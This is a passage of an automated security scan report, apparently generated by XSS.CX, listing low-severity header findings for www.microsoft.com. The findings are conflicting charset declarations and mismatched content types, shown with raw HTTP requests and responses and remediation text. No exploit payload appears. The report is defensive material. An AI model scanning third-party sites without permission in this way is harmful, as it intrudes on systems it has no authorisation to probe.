GET /windows/products/winfamily/umpc/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438247342300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:13 GMT Content-Length: 74473
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=utf-16"><title>Windows Ultra-Mobile PC</title><meta name="description" content="Your life. At the touch of your finge ...[SNIP]...
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directives were specified:
utf-16
utf-8
Request
GET /windows/products/winfamily/windowshomeserver/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279374242200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:11 GMT Content-Length: 59176
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=utf-16"><title>Windows Home Server ... media server, backup and data recovery solution</title><meta name="description ...[SNIP]...
10. Content type incorrectly statedprevious There are 4 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: text/xml
The response states that it contains XML. However, it actually appears to contain unrecognised content.
Request
GET /global/pl/pl/RenderingAssets/NewsBand/MicrosoftNews2.xml HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: max-age=900 Content-Type: text/xml Last-Modified: Tue, 16 Aug 2011 06:05:55 GMT Accept-Ranges: bytes ETag: "4543a8fda5bcc1:0" Server: Microsoft-IIS/7.5 VTag: 791664730700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:06 GMT Content-Length: 2638
HTTP/1.1 200 OK Cache-Control: max-age=900 Content-Type: application/xaml+xml Last-Modified: Mon, 01 Mar 2010 13:02:18 GMT Accept-Ranges: bytes ETag: "de7f226c3fb9ca1:0" Server: Microsoft-IIS/7.5 VTag: 791829742000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:55:31 GMT Content-Length: 19963
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/xml; charset=utf-8 Expires: Fri, 26 Aug 2011 18:11:37 GMT Last-Modified: Tue, 16 Aug 2011 06:05:55 GMT Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79112243100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:55:27 GMT Content-Length: 2635
The response contains the following Content-type statement:
Content-Type: text/html; charset=utf-8
The response states that it contains HTML. However, it actually appears to contain plain text.
Request
GET /windowsmobile/components/devices09/imageengine/imageengine.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279519610300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:32 GMT Content-Length: 15
IMAGE NOT FOUND
Report generated by XSS.CX at Fri Aug 26 14:48:18 GMT-06:00 2011.